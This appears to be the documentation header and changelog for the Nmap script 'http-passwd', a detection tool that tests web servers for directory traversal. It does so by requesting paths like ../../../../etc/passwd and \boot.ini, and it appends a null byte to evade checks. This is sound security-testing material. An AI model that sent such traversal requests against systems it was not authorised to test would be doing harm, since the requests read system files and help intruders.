http-passwd
NSE detection rule by Unknown · Same as Nmap--See https://nmap.org/book/man-legal.html
Checks if a web server is vulnerable to directory traversal by attempting to
retrieve <code>/etc/passwd</code> or <code>\boot.ini</code>.
The script uses several technique:
* Generic directory traversal by requesting paths like <code>../../../../etc/passwd</code>.
* Known specific traversals of several web servers.
* Query string traversal. This sends traversals as query string parameters to paths that look like they refer to a local file name. The potential query is searched for in at the path controlled by the script argument <code>http-passwd.root</code>.

-- @usage
-- nmap --script http-passwd --script-args http-passwd.root=/test/ <target>
--
-- @args http-passwd.root Query string tests will be done relative to this path.
-- The default value is <code>/</code>. Normally the value should contain a
-- leading slash. The queries will be sent with a trailing encoded null byte to
-- evade certain checks; see http://insecure.org/news/P55-01.txt.

-- 07/20/2007:
-- * Used Thomas Buchanan's HTTPAuth script as a starting point
-- * Applied some great suggestions from Brandon Enright, thanks a lot man!
--
-- 01/31/2008:
-- * Rewritten to use Sven Klemm's excellent HTTP library and to do some much
-- needed cleaning up
--
-- 06/2010:
-- * Added Microsoft Windows (XP and previous) support by also looking for
-- \boot.ini
-- * Added specific payloads according to vulnerabilities published against
-- various specific products.
--
-- 08/2010:
-- * Added Poison NULL Byte tests
